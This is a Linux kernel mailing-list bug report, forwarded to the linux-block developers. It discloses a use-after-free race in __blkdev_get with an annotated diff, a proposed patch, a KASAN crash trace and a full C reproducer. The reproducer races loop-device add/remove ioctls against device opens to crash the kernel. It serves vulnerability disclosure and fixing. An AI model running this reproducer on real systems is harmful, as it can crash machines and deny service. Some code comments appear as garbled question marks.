Thanks for your report and the patch. I am sending it to the
linux-block devs since it's already public.
regards,
dan carpenter
On Thu, Jan 11, 2018 at 03:51:06PM +0800, Foy wrote:
> BUG:
> diff --git a/fs/block_dev.c b/fs/block_dev.c
> index 4a181fc..db919a9 100644
> --- a/fs/block_dev.c
> +++ b/fs/block_dev.c
> @@ -1430,12 +1430,15 @@ static int __blkdev_get(struct block_device *bdev,
> fmode_t mode, int for_part)
> restart:
>
> ret = -ENXIO;
> + //2. Process C: loop_control_ioctl ==> LOOP_CTL_REMOVE ==> idr_remove
> + //3. Process B: get_gendisk ==> get_gendisk ==> kobj_lookup ==>
> loop_probe ==> loop_add, get a new disk(2)
> disk = get_gendisk(bdev->bd_dev, &partno);
> if (!disk)
> goto out;
> owner = disk->fops->owner;
>
> disk_block_events(disk);
> + //1. Process A get the disk(1),before the mutex_lock_nested.And then
> be scheduled
> mutex_lock_nested(&bdev->bd_mutex, for_part);
> if (!bdev->bd_openers) {
> bdev->bd_disk = disk;
> @@ -1524,14 +1527,17 @@ static int __blkdev_get(struct block_device *bdev,
> fmode_t mode, int for_part)
> if (ret)
> goto out_unlock_bdev;
> }
> + //5. Process A disk(1) will be free,because disk(1)'s refs ==
> 1
> /* only one opener holds refs to the module and disk */
> put_disk(disk);
> module_put(owner);
> }
> + //4. Process B: bdev->bd_openers != 0
> bdev->bd_openers++;
> if (for_part)
> bdev->bd_part_count++;
> mutex_unlock(&bdev->bd_mutex);
> + //6. Process A the disk(1) will be use
> disk_unblock_events(disk);
> return 0;
>
>
>
>
> Patch:
> diff --git a/fs/block_dev.c b/fs/block_dev.c
> index 4a181fc..1f5c7bf 100644
> --- a/fs/block_dev.c
> +++ b/fs/block_dev.c
> @@ -1526,13 +1526,15 @@ static int __blkdev_get(struct block_device *bdev,
> fmode_t mode, int for_part)
> }
> /* only one opener holds refs to the module and disk */
> put_disk(disk);
> +disk = NULL;
> module_put(owner);
> }
> bdev->bd_openers++;
> if (for_part)
> bdev->bd_part_count++;
> mutex_unlock(&bdev->bd_mutex);
> -disk_unblock_events(disk);
> +if (disk)
> +disk_unblock_events(disk);
> return 0;
>
> out_clear:
>
>
>
>
> Crash:
> ==================================================================
> BUG: KASAN: use-after-free in disk_unblock_events+0x4b/0x50 block/genhd.c:1657
> Read of size 8 at addr ffff880035c273f8 by task syz-executor6/21165
>
>
> CPU: 0 PID: 21165 Comm: syz-executor6 Not tainted 4.15.0-rc6 #18
> Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
> Ubuntu-1.8.2-1ubuntu1 04/01/2014
> Call Trace:
> __dump_stack lib/dump_stack.c:17 [inline]
> dump_stack+0x104/0x1c5 lib/dump_stack.c:53
> print_address_description+0x6e/0x280 mm/kasan/report.c:252
> kasan_report_error mm/kasan/report.c:351 [inline]
> kasan_report+0x254/0x340 mm/kasan/report.c:409
> disk_unblock_events+0x4b/0x50 block/genhd.c:1657
> __blkdev_get+0x5f5/0xdb0 fs/block_dev.c:1535
> blkdev_get+0x338/0x9e0 fs/block_dev.c:1591
> blkdev_open+0x1bd/0x240 fs/block_dev.c:1749
> do_dentry_open+0x682/0xd80 fs/open.c:752
> vfs_open+0x107/0x220 fs/open.c:866
> do_last fs/namei.c:3379 [inline]
> path_openat+0x1051/0x3220 fs/namei.c:3519
> do_filp_open+0x25b/0x3b0 fs/namei.c:3554
> do_sys_open+0x4ab/0x650 fs/open.c:1059
> entry_SYSCALL_64_fastpath+0x1f/0x96
> RIP: 0033:0x40cd41
> RSP: 002b:00007ff1c06e5780 EFLAGS: 00000293 ORIG_RAX: 0000000000000002
> RAX: ffffffffffffffda RBX: 000000000071bf58 RCX: 000000000040cd41
> RDX: 0000000000000000 RSI: 0000000000080102 RDI: 00007ff1c06e5830
> RBP: 00000000000001e4 R08: 000000000000ffff R09: 0000000000000000
> R10: 0000000020024400 R11: 0000000000000293 R12: 00000000006efe00
> R13: 00000000ffffffff R14: 00007ff1c06e66d4 R15: 0000000000000002
>
>
> Allocated by task 21138:
> set_track mm/kasan/kasan.c:459 [inline]
> kasan_kmalloc+0xa9/0xd0 mm/kasan/kasan.c:551
> kmem_cache_alloc_node_trace+0x153/0x280 mm/slub.c:2780
> kmalloc_node include/linux/slab.h:537 [inline]
> kzalloc_node include/linux/slab.h:699 [inline]
> __alloc_disk_node+0xab/0x490 block/genhd.c:1400
> loop_add+0x42f/0xa00 drivers/block/loop.c:1808
> loop_control_ioctl+0x11c/0x450 drivers/block/loop.c:1940
> vfs_ioctl fs/ioctl.c:46 [inline]
> do_vfs_ioctl+0x18b/0x13c0 fs/ioctl.c:686
> SYSC_ioctl fs/ioctl.c:701 [inline]
> SyS_ioctl+0x7e/0xb0 fs/ioctl.c:692
> entry_SYSCALL_64_fastpath+0x1f/0x96
>
>
> Freed by task 21165:
> set_track mm/kasan/kasan.c:459 [inline]
> kasan_slab_free+0x71/0xc0 mm/kasan/kasan.c:524
> slab_free_hook mm/slub.c:1391 [inline]
> slab_free_freelist_hook mm/slub.c:1412 [inline]
> slab_free mm/slub.c:2968 [inline]
> kfree+0xe2/0x2c0 mm/slub.c:3899
> disk_release+0x300/0x3c0 block/genhd.c:1249
> device_release+0x76/0x200 drivers/base/core.c:814
> kobject_cleanup lib/kobject.c:648 [inline]
> kobject_release lib/kobject.c:677 [inline]
> kref_put include/linux/kref.h:70 [inline]
> kobject_put+0x13d/0x230 lib/kobject.c:694
> put_disk+0x1f/0x30 block/genhd.c:1465
> __blkdev_get+0x560/0xdb0 fs/block_dev.c:1528
> blkdev_get+0x338/0x9e0 fs/block_dev.c:1591
> blkdev_open+0x1bd/0x240 fs/block_dev.c:1749
> do_dentry_open+0x682/0xd80 fs/open.c:752
> vfs_open+0x107/0x220 fs/open.c:866
> do_last fs/namei.c:3379 [inline]
> path_openat+0x1051/0x3220 fs/namei.c:3519
> do_filp_open+0x25b/0x3b0 fs/namei.c:3554
> do_sys_open+0x4ab/0x650 fs/open.c:1059
> entry_SYSCALL_64_fastpath+0x1f/0x96
>
>
> The buggy address belongs to the object at ffff880035c26e80
> which belongs to the cache kmalloc-2048 of size 2048
> The buggy address is located 1400 bytes inside of
> 2048-byte region [ffff880035c26e80, ffff880035c27680)
> The buggy address belongs to the page:
> page:0000000003af101f count:1 mapcount:0 mapping: (null) index:0x0
> compound_mapcount: 0
> flags: 0x100000000008100(slab|head)
> raw: 0100000000008100 0000000000000000 0000000000000000 00000001000f000f
> raw: ffffea0000946a00 0000000200000002 ffff880035c02d80 0000000000000000
> page dumped because: kasan: bad access detected
>
>
> Memory state around the buggy address:
> ffff880035c27280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> ffff880035c27300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> >ffff880035c27380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> ^
> ffff880035c27400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> ffff880035c27480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
> ==================================================================
>
>
>
>
>
> #include <stdio.h>
> #include <string.h>
> #include <errno.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <pthread.h>
> #include <arpa/inet.h>
> #include <sys/types.h>
> #include <sys/socket.h>
> #include <sys/syscall.h>
> #include <sys/mman.h>
> #include <sys/time.h>
> #include <sys/resource.h>
> #include <netinet/in.h>
> #include <netinet/udp.h>
> #include <netinet/ip.h>
> #include <linux/xfrm.h>
> #include <linux/netlink.h>
> #include <linux/loop.h>
> #include <stdarg.h>
> #include <stdbool.h>
> #include <stddef.h>
> #include <sys/prctl.h>
> #include <sys/time.h>
> #include <sys/resource.h>
>
> #define false 0
> #define true 1
> int controlfd;
> int count = 0;
>
> #define ERR_EXIT1(m) \
> do \
> { \
> perror(m); \
> exit(EXIT_FAILURE); \
> } while(0)
>
> #define ERR_EXIT(m) \
> do \
> { \
> perror(m); \
> } while(0)
>
> void send_fd(int sock_fd, int send_fd) {
> int ret;
> struct msghdr msg;
> struct cmsghdr *p_cmsg;
> struct iovec vec;
> char cmsgbuf[CMSG_SPACE(sizeof(send_fd) * 253)];
> printf("cmsgbuf size:%d \n", sizeof(cmsgbuf));
> int *p_fds;
> char sendchar = 0;
> int i;
> msg.msg_control = cmsgbuf;
> msg.msg_controllen = sizeof(cmsgbuf);
> p_cmsg = CMSG_FIRSTHDR(&msg);
> p_cmsg->cmsg_level = SOL_SOCKET;
> p_cmsg->cmsg_type = SCM_RIGHTS;
> p_cmsg->cmsg_len = CMSG_LEN(sizeof(send_fd) * 253);
> p_fds = (int *) CMSG_DATA(p_cmsg);
> for (i = 0; i < 253; i++) {
> p_fds[i] = send_fd; //
> ??????????????????????????????????????????????????????
> }
>
> msg.msg_name = NULL;
> msg.msg_namelen = 0;
> msg.msg_iov = &vec;
> msg.msg_iovlen = 1;
> //??????????????????????????????????????????1?????????
> msg.msg_flags = 0;
>
> vec.iov_base = &sendchar;
> vec.iov_len = sizeof(sendchar);
> while (1) {
> ret = sendmsg(sock_fd, &msg, 0);
> if (ret != 1)
> ERR_EXIT("sendmsg");
> }
> }
>
> int recv_fd(const int sock_fd) {
> int ret;
> struct msghdr msg;
> char recvchar;
> struct iovec vec;
> int recv_fd;
> char cmsgbuf[CMSG_SPACE(sizeof(recv_fd))];
> struct cmsghdr *p_cmsg;
> int *p_fd, i;
> vec.iov_base = &recvchar;
> vec.iov_len = sizeof(recvchar);
> msg.msg_name = NULL;
> msg.msg_namelen = 0;
> msg.msg_iov = &vec;
> msg.msg_iovlen = 1;
> msg.msg_control = cmsgbuf;
> msg.msg_controllen = sizeof(cmsgbuf);
> msg.msg_flags = 0;
>
> p_fd = (int *) CMSG_DATA(CMSG_FIRSTHDR(&msg));
> *p_fd = -1;
> while (1) {
> ret = recvmsg(sock_fd, &msg, 0);
> if (ret < 0) {
> char buff[256];
> snprintf(buff, "recvmsg11: sock_fd:%d ret:%d", sock_fd,
> ret);
> ERR_EXIT(buff);
> }
>
> p_cmsg = CMSG_FIRSTHDR(&msg);
> if (p_cmsg == NULL)
> ERR_EXIT("no passed fd");
>
> p_fd = (int *) CMSG_DATA(p_cmsg);
> for (i = 0; i < 253; i++) {
> close(p_fd[i]);
> }
> }
> recv_fd = *p_fd;
> if (recv_fd == -1)
> ERR_EXIT("no passed fd");
>
> return recv_fd;
> }
>
> int test_main(void) {
> int sockfds[2];
> /*
> ??????unix????????????????????????????????????????????????????????????????????????????????????????????????
> * ?????????????????????socketpair???????????????socket()?????? */
> if (socketpair(PF_UNIX, SOCK_STREAM, 0, sockfds) < 0)
> ERR_EXIT("socketpair");
>
> pid_t pid;
> pid = fork();
> if (pid == -1)
> ERR_EXIT("fork");
> /* ??????????????????????????????????????????????????????????????????
> *
> ???????????????????????????????????????????????????????????????????????????????????????
> */
> if (pid > 0) {
> close(sockfds[1]);
> int fd = recv_fd(sockfds[0]);
> char buf[1024] = { 0 };
> read(fd, buf, sizeof(buf));
> } else if (pid == 0) {
> close(sockfds[0]);
> int fd;
> fd = open("test.txt", O_RDONLY);
> if (fd == -1)
> ERR_EXIT("open");
> send_fd(sockfds[1], fd);
> }
> return 0;
> }
>
> int main(int argc, char *argv[]) {
> int ret;
> int child_pid;
> int fd;
> int loop_index;
> if (argc >= 2) {
> loop_index = atoi(argv[1]);
> } else {
> loop_index = 9;
> }
> child_pid = fork();
> if (child_pid) {
> child_pid = fork();
> if (child_pid) {
> child_pid = fork();
> child_pid = fork();
> while (1) {
> count++;
> count = count * 2;
> }
> } else {
> test_main();
> }
> }
> child_pid = fork();
>
> if (child_pid) {
> printf("pid:%d nice:%d \n", getpid(), getpriority(PRIO_PROCESS,
> getpid()));
> controlfd = open("/dev/loop-control", O_RDWR);
> while (controlfd >= 0) {
> ret = ioctl(controlfd, LOOP_CTL_ADD, loop_index);
> ret = ioctl(controlfd, LOOP_CTL_REMOVE, loop_index);
> }
> close(controlfd);
> } else {
> child_pid = fork();
> printf("pid:%d nice:%d \n", getpid(),
> getpriority(PRIO_PROCESS, getpid()));
> char name[100];
> memset(name, 0, 100);
> snprintf(name, 100, "/dev/loop%d", loop_index);
> if (child_pid) {
> prctl(PR_SET_NAME, "ppp");
> setpriority(PRIO_PROCESS, getpid(), 0);
> while (1) {
> fd = open(name, O_RDONLY);
> if (fd <= 0) {
> continue;
> }
> ret = close(fd);
> }
> } else {
> child_pid = fork();
> prctl(PR_SET_NAME, "ccc");
> setpriority(PRIO_PROCESS, getpid(), -5);
> while (1) {
> fd = open(name, O_RDONLY);
> if (fd <= 0) {
> continue;
> }
> ret = close(fd);
> }
> }
> }
> }
